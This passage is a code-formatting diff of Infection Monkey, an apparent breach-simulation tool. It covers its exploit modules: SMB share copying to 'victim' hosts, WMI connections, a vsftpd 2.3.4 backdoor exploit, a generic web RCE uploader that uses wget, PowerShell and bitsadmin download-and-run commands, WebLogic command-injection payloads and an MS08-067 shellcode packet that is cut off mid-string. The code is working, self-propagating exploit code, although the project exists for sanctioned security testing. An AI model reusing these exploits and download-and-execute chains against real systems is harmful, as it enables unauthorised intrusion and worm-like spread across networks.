[self.get_payload(part) for part in wrapper.wrap(self.command)] return commands diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py index 18dcf6df244..738d7f760fd 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -14,8 +14,8 @@ def test_is_suffix_and_prefix_too_long(self): pld_fail = LimitedSizePayload("b", 2, "a", "c") pld_success = LimitedSizePayload("b", 3, "a", "c") assert ( - pld_fail.is_suffix_and_prefix_too_long() - and not pld_success.is_suffix_and_prefix_too_long() + pld_fail.is_suffix_and_prefix_too_long() + and not pld_success.is_suffix_and_prefix_too_long() ) def test_split_into_array_of_smaller_payloads(self): @@ -23,16 +23,17 @@ def test_split_into_array_of_smaller_payloads(self): pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") array1 = pld1.split_into_array_of_smaller_payloads() test1 = bool( - array1[0] == "prefix1234suffix" - and array1[1] == "prefix5678suffix" - and array1[2] == "prefix9suffix" + array1[0] == "prefix1234suffix" + and array1[1] == "prefix5678suffix" + and array1[2] == "prefix9suffix" ) test_str2 = "12345678" pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") array2 = pld2.split_into_array_of_smaller_payloads() test2 = bool( - array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2 + array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len( + array2) == 2 ) assert test1 and test2 diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 9943b413502..c521facfbb0 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -21,14 +21,14 @@ class SmbTools(object): @staticmethod def copy_file( - host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection( - host, username, password, lm_hash, ntlm_hash, timeout + host, username, password, lm_hash, ntlm_hash, timeout ) if not smb: return None @@ -36,13 +36,14 @@ def copy_file( # skip guest users if smb.isGuestSession() > 0: LOG.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + "Connection to %r granted guest privileges with user: %s, password (SHA-512): " + "'%s'," + " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), ) try: @@ -59,12 +60,12 @@ def copy_file( return None info = { - "major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], - "minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], - "server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), - "server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), - "server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), - "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"], + "major_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], + "minor_version":resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], + "server_name":resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), + "server_comment":resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), + "server_user_path":resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), + "simultaneous_users":resp["InfoStruct"]["ServerInfo102"]["sv102_users"], } LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) @@ -89,23 +90,23 @@ def copy_file( if current_uses >= max_uses: LOG.debug( - "Skipping share '%s' on victim %r because max uses is exceeded", - share_name, - host, + "Skipping share '%s' on victim %r because max uses is exceeded", + share_name, + host, ) continue elif not share_path: LOG.debug( - "Skipping share '%s' on victim %r because share path is invalid", - share_name, - host, + "Skipping share '%s' on victim %r because share path is invalid", + share_name, + host, ) continue - share_info = {"share_name": share_name, "share_path": share_path} + share_info = {"share_name":share_name, "share_path":share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) low_priority_shares += ((ntpath.sep + file_name, share_info),) @@ -118,7 +119,7 @@ def copy_file( if not smb: smb, _ = SmbTools.new_smb_connection( - host, username, password, lm_hash, ntlm_hash, timeout + host, username, password, lm_hash, ntlm_hash, timeout ) if not smb: return None @@ -127,16 +128,17 @@ def copy_file( smb.connectTree(share_name) except Exception as exc: LOG.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + "Error connecting tree to share '%s' on victim %r: %s", share_name, host, + exc ) continue LOG.debug( - "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, - share_path, - remote_path, - host.ip_addr[0], + "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, + share_path, + remote_path, + host.ip_addr[0], ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) @@ -151,7 +153,8 @@ def copy_file( return remote_full_path LOG.debug( - "Remote monkey file is found but different, moving along with attack" + "Remote monkey file is found but different, moving along with " + "attack" ) except Exception: pass # file isn't found on remote victim, moving on @@ -164,26 +167,28 @@ def copy_file( file_uploaded = True T1105Telem( - ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path + ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, + dst_path ).send() LOG.info( - "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, - share_name, - share_path, - host, + "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, + share_name, + share_path, + host, ) break except Exception as exc: LOG.debug( - "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc + "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, + exc ) T1105Telem( - ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path, + ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path, ).send() continue finally: @@ -196,13 +201,14 @@ def copy_file( if not file_uploaded: LOG.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + "Couldn't find a writable share for exploiting victim %r with " + "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), ) return None @@ -222,9 +228,9 @@ def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeo return None, None dialect = { - SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1", + SMB_DIALECT:"SMBv1", + SMB2_DIALECT_002:"SMBv2.0", + SMB2_DIALECT_21:"SMBv2.1", }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked @@ -232,14 +238,14 @@ def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeo smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, + "Error while logging into %r using user: %s, password (SHA-512): '%s', " + "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + exc, ) return None, dialect @@ -258,7 +264,7 @@ def execute_rpc_call(smb, rpc_func, *args): @staticmethod def get_dce_bind(smb): rpctransport = transport.SMBTransport( - smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb ) dce = rpctransport.get_dce_rpc() dce.connect() diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py index 60cc136e558..37c784d24c7 100644 --- a/monkey/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/infection_monkey/exploit/tools/test_helpers.py @@ -7,12 +7,12 @@ class TestHelpers(unittest.TestCase): def test_build_monkey_commandline_explicitly(self): test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80" result1 = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 + 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80" result2 = build_monkey_commandline_explicitly( - parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" + parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" ) self.assertEqual(test1, result1) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index b6d96aa820d..0bb9e35c4bb 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -17,8 +17,8 @@ class DceRpcException(Exception): class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( - "Access is denied to %r with username %s\\%s and password %r" - % (host, domain, username, password) + "Access is denied to %r with username %s\\%s and password %r" + % (host, domain, username, password) ) @@ -37,18 +37,18 @@ def connect(self, host, username, password, domain=None, lmhash="", nthash=""): domain = host.ip_addr dcom = DCOMConnection( - host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True, + host.ip_addr, + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + oxidResolver=True, ) try: iInterface = dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) except Exception as exc: dcom.disconnect() diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index d8e88b44c37..fb474921798 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,6 +1,7 @@ """ Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp + /vsftpd_234_backdoor.rb only vulnerable version is "2.3.4" """ @@ -121,7 +122,7 @@ def _exploit_host(self): # Upload the monkey to the machine monkey_path = dropper_target_path_linux - download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path} + download_command = WGET_HTTP_UPLOAD % {"monkey_path":monkey_path, "http_path":http_path} download_command = str.encode(str(download_command) + "\n") LOG.info("Download command is %s", download_command) if self.socket_send(backdoor_socket, download_command): @@ -134,7 +135,7 @@ def _exploit_host(self): http_thread.stop() # Change permissions - change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path} + change_permission = CHMOD_MONKEY % {"monkey_path":monkey_path} change_permission = str.encode(str(change_permission) + "\n") LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) @@ -142,25 +143,26 @@ def _exploit_host(self): # Run monkey on the machine parameters = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT ) run_monkey = RUN_MONKEY % { - "monkey_path": monkey_path, - "monkey_type": MONKEY_ARG, - "parameters": parameters, + "monkey_path":monkey_path, + "monkey_type":MONKEY_ARG, + "parameters":parameters, } # Set unlimited to memory - # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit + # we don't have to revert the ulimit because it just applies to the shell obtained by our + # exploit run_monkey = ULIMIT_V + UNLIMITED + run_monkey run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - run_monkey, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + run_monkey, ) self.add_executed_cmd(run_monkey.decode()) return True diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index f51fe1539bb..e5c5a33bf8f 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -52,9 +52,9 @@ def __init__(self, host, monkey_target_paths=None): self.monkey_target_paths = monkey_target_paths else: self.monkey_target_paths = { - "linux": self._config.dropper_target_path_linux, - "win32": self._config.dropper_target_path_win_32, - "win64": self._config.dropper_target_path_win_64, + "linux":self._config.dropper_target_path_linux, + "win32":self._config.dropper_target_path_win_32, + "win64":self._config.dropper_target_path_win_64, } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist @@ -69,21 +69,27 @@ def get_exploit_config(self): """ exploit_config = {} - # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # dropper: If true monkey will use dropper parameter that will detach monkey's process + # and try to copy # it's file to the default destination path. exploit_config["dropper"] = False - # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} - # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD, + # 'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults + # will be used. exploit_config["upload_commands"] = None - # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", + # "index.php"] exploit_config["url_extensions"] = [] - # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found + # vulnerable. exploit_config["stop_checking_urls"] = False - # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + # blind_exploit: If true we won't check if file exist and won't try to get the + # architecture of target. exploit_config["blind_exploit"] = False return exploit_config @@ -111,12 +117,12 @@ def _exploit_host(self): # Skip if monkey already exists and this option is given if ( - not exploit_config["blind_exploit"] - and self.skip_exist - and self.check_remote_files(self.target_url) + not exploit_config["blind_exploit"] + and self.skip_exist + and self.check_remote_files(self.target_url) ): LOG.info( - "Host %s was already infected under the current configuration, done" % self.host + "Host %s was already infected under the current configuration, done" % self.host ) return True @@ -136,10 +142,10 @@ def _exploit_host(self): # Execute remote monkey if ( - self.execute_remote_monkey( - self.get_target_url(), data["path"], exploit_config["dropper"] - ) - is False + self.execute_remote_monkey( + self.get_target_url(), data["path"], exploit_config["dropper"] + ) + is False ): return False @@ -163,15 +169,15 @@ def get_open_service_ports(self, port_list, names): """ candidate_services = {} candidate_services.update( - { - service: self.host.services[service] - for service in self.host.services - if ( - self.host.services[service] - and "name" in self.host.services[service] - and self.host.services[service]["name"] in names + { + service:self.host.services[service] + for service in self.host.services + if ( + self.host.services[service] + and "name" in self.host.services[service] + and self.host.services[service]["name"] in names ) - } + } ) valid_ports = [ @@ -196,11 +202,12 @@ def get_command(self, path, http_path, commands): else: command = commands["windows"] # Format command - command = command % {"monkey_path": path, "http_path": http_path} + command = command % {"monkey_path":path, "http_path":http_path} except KeyError: LOG.error( - "Provided command is missing/bad for this type of host! " - "Check upload_monkey function docs before using custom monkey's upload commands." + "Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload " + "commands." ) return False return command @@ -225,8 +232,10 @@ def check_if_exploitable(self, url): def build_potential_urls(self, ports, extensions=None): """ - Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and + extensions. + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), + isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack @@ -243,7 +252,7 @@ def build_potential_urls(self, ports, extensions=None): else: protocol = "http" url_list.append( - join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) ) if not url_list: LOG.info("No attack url's were built") @@ -253,7 +262,8 @@ def add_vulnerable_urls(self, urls, stop_checking=False): """ Gets vulnerable url(s) from url list :param urls: Potentially vulnerable urls - :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :param stop_checking: If we want to continue checking for vulnerable url even though one + is found (bool) :return: None (we append to class variable vulnerable_urls) """ for url in urls: @@ -304,8 +314,8 @@ def check_remote_monkey_file(self, url, path): return False else: LOG.info( - "Host %s was already infected under the current configuration, done" - % str(self.host) + "Host %s was already infected under the current configuration, done" + % str(self.host) ) return True @@ -330,7 +340,8 @@ def get_ports_w(self, ports, names): Get ports wrapped with log :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS :param names: [] of service names. Example: ["http"] - :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ + port.nr, IsHTTPS?] """ ports = self.get_open_service_ports(ports, names) if not ports: @@ -350,7 +361,8 @@ def set_host_arch(self, url): def run_backup_commands(self, resp, url, dest_path, http_path): """ - If you need multiple commands for the same os you can override this method to add backup commands + If you need multiple commands for the same os you can override this method to add backup + commands :param resp: Response from base command :param url: Vulnerable url :param dest_path: Where to upload monkey @@ -360,8 +372,8 @@ def run_backup_commands(self, resp, url, dest_path, http_path): if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = BITSADMIN_CMDLINE_HTTP % { - "monkey_path": dest_path, - "http_path": http_path, + "monkey_path":dest_path, + "http_path":http_path, } T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) @@ -370,7 +382,8 @@ def run_backup_commands(self, resp, url, dest_path, http_path): def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request - :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': + WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. :return: {'response': response/False, 'path': monkeys_path_in_host} """ @@ -389,7 +402,7 @@ def upload_monkey(self, url, commands=None): LOG.info("Started http server on %s", http_path) # Choose command: if not commands: - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} + commands = {"windows":POWERSHELL_HTTP_UPLOAD, "linux":WGET_HTTP_UPLOAD} command = self.get_command(paths["dest_path"], http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) @@ -402,7 +415,7 @@ def upload_monkey(self, url, commands=None): if resp is False: return resp else: - return {"response": resp, "path": paths["dest_path"]} + return {"response":resp, "path":paths["dest_path"]} def change_permissions(self, url, path, command=None): """ @@ -417,7 +430,7 @@ def change_permissions(self, url, path, command=None): LOG.info("Permission change not required for windows") return True if not command: - command = CHMOD_MONKEY % {"monkey_path": path} + command = CHMOD_MONKEY % {"monkey_path":path} try: resp = self.exploit(url, command) T1222Telem(ScanStatus.USED, command, self.host).send() @@ -435,7 +448,8 @@ def change_permissions(self, url, path, command=None): return False elif "No such file or directory" in resp: LOG.error( - "Could not change permission because monkey was not found. Check path parameter." + "Could not change permission because monkey was not found. Check path " + "parameter." ) return False LOG.info("Permission change finished") @@ -457,21 +471,21 @@ def execute_remote_monkey(self, url, path, dropper=False): if default_path is False: return False monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path + self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path ) command = RUN_MONKEY % { - "monkey_path": path, - "monkey_type": DROPPER_ARG, - "parameters": monkey_cmd, + "monkey_path":path, + "monkey_type":DROPPER_ARG, + "parameters":monkey_cmd, } else: monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port + self.host, get_monkey_depth() - 1, self.vulnerable_port ) command = RUN_MONKEY % { - "monkey_path": path, - "monkey_type": MONKEY_ARG, - "parameters": monkey_cmd, + "monkey_path":path, + "monkey_type":MONKEY_ARG, + "parameters":monkey_cmd, } try: LOG.info("Trying to execute monkey using command: {}".format(command)) @@ -499,12 +513,13 @@ def execute_remote_monkey(self, url, path, dropper=False): def get_monkey_upload_path(self, url_to_monkey): """ Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : + http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from self.monkey_target_paths """ if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): LOG.error( - "Can't get destination path because source path %s is invalid.", url_to_monkey + "Can't get destination path because source path %s is invalid.", url_to_monkey ) return False try: @@ -516,14 +531,15 @@ def get_monkey_upload_path(self, url_to_monkey): return self.monkey_target_paths["win64"] else: LOG.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." ) return False except KeyError: LOG.error( - 'Unknown key was found. Please use "linux", "win32" and "win64" keys to initialize ' - "custom dict of monkey's destination paths" + 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' + "initialize " + "custom dict of monkey's destination paths" ) return False @@ -540,7 +556,7 @@ def get_monkey_paths(self): dest_path = self.get_monkey_upload_path(src_path) if not dest_path: return False - return {"src_path": src_path, "dest_path": dest_path} + return {"src_path":src_path, "dest_path":dest_path} def get_default_dropper_path(self): """ @@ -549,7 +565,7 @@ def get_default_dropper_path(self): E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ if not self.host.os.get("type") or ( - self.host.os["type"] != "linux" and self.host.os["type"] != "windows" + self.host.os["type"] != "linux" and self.host.os["type"] != "windows" ): LOG.error("Target's OS was either unidentified or not supported. Aborting") return False @@ -577,8 +593,10 @@ def get_target_url(self): def are_vulnerable_urls_sufficient(self): """ - Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. - Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for + Determine whether the number of vulnerable URLs is sufficient in order to perform the + full attack. + Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a + vulnerable URL is for single use, thus we need a couple of them. :return: Whether or not a full attack can be performed using the available vulnerable URLs. """ diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 2d1a40c0ae3..4e90d92d430 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -24,9 +24,9 @@ EXECUTION_TIMEOUT = 15 # Malicious requests' headers: HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", + "Content-Type":"text/xml;charset=UTF-8", + "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", } @@ -65,7 +65,7 @@ class WebLogic201710271(WebRCE): def __init__(self, host): super(WebLogic201710271, self).__init__( - host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} + host, {"linux":"/tmp/monkey.sh", "win32":"monkey32.exe", "win64":"monkey64.exe"} ) def get_exploit_config(self): @@ -78,13 +78,13 @@ def get_exploit_config(self): def exploit(self, url, command): if "linux" in self.host.os["type"]: payload = self.get_exploit_payload( - "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" + "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" ) else: payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") try: post( - url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False + url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False ) # noqa: DUO123 except Exception as e: LOG.error("Connection error: %s" % e) @@ -122,7 +122,7 @@ def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: post( - url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False + url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False ) # noqa: DUO123 except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error @@ -160,7 +160,8 @@ def get_exploit_payload(cmd_base, cmd_opt, command): :param command: command itself :return: Formatted payload """ - empty_payload = """ + empty_payload = """ @@ -195,7 +196,8 @@ def get_test_payload(ip, port): :param port: Server's port :return: Formatted payload """ - generic_check_payload = """ + generic_check_payload = """ @@ -272,7 +274,8 @@ def get_exploit_config(self): return exploit_config def execute_remote_monkey(self, url, path, dropper=False): - # Without delay exploiter tries to launch monkey file that is still finishing up after downloading. + # Without delay exploiter tries to launch monkey file that is still finishing up after + # downloading. time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) @@ -289,7 +292,7 @@ def exploit(self, url, command): return False def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) + headers = copy.deepcopy(HEADERS).update({"SOAPAction":""}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True @@ -307,7 +310,8 @@ def get_exploit_payload(cmd_base, cmd_opt, command): """ empty_payload = """ + xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" + xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\"> xx xx diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 16b971cd80a..d9c0cdc5154 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -63,22 +63,22 @@ SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() XP_PACKET = ( - "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - 